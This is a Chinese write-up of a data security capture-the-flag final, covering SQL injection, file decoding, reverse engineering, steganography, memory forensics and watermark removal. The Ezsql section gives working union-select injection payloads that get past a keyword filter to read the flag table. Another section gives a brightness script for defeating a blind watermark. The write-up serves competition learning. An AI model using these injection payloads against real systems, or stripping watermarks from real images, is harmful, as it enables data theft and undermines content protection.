第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

admin 2024年9月29日21:25:30评论46 views字数 4380阅读14分36秒阅读模式

数据安全

Ezsql

无列名注入

fuzz测试发现过滤了information_schema、反引号、or等关键词 测试发现可通过括号闭合,构造语句测试。

name=11') union select 1,2,~(select exp(709))#
# ID: 1 - Name: 2 - Email: 9223372036854775808

name=11'
) union SELECT 1,2,(SELECT GROUP_CONCAT(a) FROM (SELECT 1 AS a UNION SELECT * FROM whatisthis) AS m)#
# 获取flag
第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

信息搜集表

签到题,填写信息发邮箱得到flag

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

ez_sign

下载得到附件,压缩包密码为弱口令

第一段值

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

第二段值

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

第三段值,队数据进行和0xff进行异或,得到一个新压缩包

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup
input_file = "part3.zip"  
output_file = "res.zip"  
xor_key = 0xff  

# 读取输入的 zip 文件
with open(input_file, "rb"as fp:
    data = fp.read()

# 创建一个空字节串以存储结果
result = bytearray()

# 对每个字节进行异或操作
for byte in data:
    result.append(byte ^ xor_key)

# 将结果写入输出文件
with open(output_file, "wb"as fp:
    fp.write(result)

print(f"数据已经还原并保存为 '{output_file}'。")
第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

拼接获得flag值

签到寄语

打开题目,发现需要输入寄语。这里输入任意值

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

会出现一张二维码,参考如下项目

https://github.com/sz3/cfc/releases/tag/v0.6.1

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

读取文件得到flag值

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

easy-decode

无壳,直接看main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rax
  FILE *v4; // rbx
  size_t v6; // rbp
  void *v7; // rax
  void *v8; // rsi
  void *v9; // rbx
  __int64 v10; // rdi
  __int64 v11; // rax
  char *v12; // rdi
  __int64 v13; // rbx
  __int64 v14; // rax
  int v15; // ebp
  int v16; // ebp
  FILE *v17; // rax
  FILE *v18; // rbx
  int v19; // [rsp+30h] [rbp-48h] BYREF
  char v20[16]; // [rsp+38h] [rbp-40h] BYREF
  __int128 v21[2]; // [rsp+48h] [rbp-30h] BYREF

  v3 = fopen("flag.txt""rb");
  v4 = v3;
  if ( v3 )
  {
    fseek(v3, 02);
    v6 = ftell(v4);
    fseek(v4, 00);
    v7 = j__malloc_base(v6);
    v8 = v7;
    if ( v7 )
    {
      fread(v7, 1ui64, v6, v4);
      fclose(v4);
      v9 = j__malloc_base(0x7D0ui64);
      memmove(v9, main, 0x7D0ui64);
      v10 = EVP_MD_CTX_new();
      v11 = EVP_md5();
      EVP_DigestInit_ex(v10, v11, 0i64);
      EVP_DigestUpdate(v10, v9, 2000i64);
      EVP_DigestFinal_ex(v10, v20, 0i64);
      EVP_MD_CTX_free(v10);
      memset(v21, 0sizeof(v21));
      v12 = (char *)j__malloc_base((int)((((((int)v6 + 32) >> 31) & 0x1F) + v6 + 32) & 0xFFFFFFE0));
      if ( v12 )
      {
        v13 = EVP_CIPHER_CTX_new();
        v14 = EVP_aes_128_cbc();
        EVP_EncryptInit_ex(v13, v14, 0i64, v20, v21);
        EVP_EncryptUpdate(v13, v12, &v19, v8, v6);
        v15 = v19;
        EVP_EncryptFinal_ex(v13, &v12[v19], &v19);
        v16 = v19 + v15;
        EVP_CIPHER_CTX_free(v13);
        v17 = fopen("flag_enc.txt""wb");
        v18 = v17;
        if ( v17 )
        {
          fwrite(v12, 1ui64, v16, v17);
          fclose(v18);
          free(v8);
          free(v12);
          return 0;
        }
        else
        {
          free(v8);
          free(v12);
          return 1;
        }
      }
      else
      {
        free(v8);
        return 1;
      }
    }
    else
    {
      fclose(v4);
      return 1;
    }
  }
  else
  {
    perror(&ErrMsg);
    return 1;
  }
}

可以看懂只需要讲main函数的字节码进行md5作为密钥解密flag_en.txt即可。

一开始通过动调下断点获取md5后的值发现解密错误,后面考虑到断点存在0xcc字节码,手动dump

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

找到aes的密钥2c063641039ac76d8ba8253c15f5fc16

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

得到flag{85e66dbb-540b-4a49-90d3-baf2092f55b1}

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

pixel

打开png发现文件头有问题,并且将被修改的文件头查看可以发现是 sm4cbc为提示

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

图片尾可以合理猜测为密文

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

stegsolve可以发现 alpah通道存在隐写

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

zsteg可以得到一个 字符串

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

直接就是密文加偏移进行解密

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

数据分析

secret1

直接strings搜索可以得到加过滤可以得到

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

secret2

通过vol工具查找历史命令可以得到

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

是在secret目录下的文件,再使用filescan扫描加上grep过滤,通过dumpfiles把文件dump下来

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup
第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

通过在线反编译pyc,得到源码

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

使用了异或进行加密,密钥刚好是我们上面得到的flag的值,因为是异或得到的,我们再次使用脚本异或回文件既可以得到

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

secret3

提取压缩包,需要密码,使用vol查看剪贴板得到一段字符串怀疑是密码,输入解压

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

通过剪切板提取信息

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup
第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

history1

看到提示说浏览器,直接vol看进程,发现firefox的进程,直接导出

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

然后使用gimp直接挪

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

history2

然后看到问flag2在哪直接,直接strings加grep检索

第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeup

得到flag2

数据算法

水印攻击_南区

gpt生一个针对盲水印,减少对原图的修改。生成一个对图片增亮功能,逐步优化拿高分即可。

from PIL import Image, ImageEnhance

def change_brightness(image_path):
    image = Image.open(image_path)
    min_factor = 1.05
    max_factor = 1.2
    step = 0.01

    # 生成亮度因子列表
    factors = [round(min_factor + i * step, 2for i in range(int((max_factor - min_factor) / step) + 1)]

    # 遍历每个亮度因子并尝试增强亮度
    for factor in factors:
        brightened_image = ImageEnhance.Brightness(image).enhance(factor)
        output_path = f"result_{factor:.2f}.png"
        brightened_image.save(output_path)

        # 检查攻击是否成功
        if check_attack_success(output_path):
            return brightened_image

    return None  # 如果所有尝试都失败,返回None

def check_attack_success(image_path):
    # 检查攻击是否成功的逻辑
    # 这里暂时返回False,表示未实现具体检查方法
    return False

# 输入文件路径
input_image_path = "input.png"
output_image = change_brightness(input_image_path)

if output_image:
    output_image.save("result.png")
    print("成功找到有效的亮度变化,结果已保存。")
else:
    print("所有尝试的亮度改变都未能成功攻击水印。")

原文始发于微信公众号(ACT Team):第二届数据安全大赛暨首届“数信杯”数据安全大赛南区决赛Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月29日21:25:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第二届数据安全大赛暨首届数信杯数据安全大赛南区决赛Writeuphttps://cn-sec.com/archives/3219707.html

发表评论

匿名网友 填写信息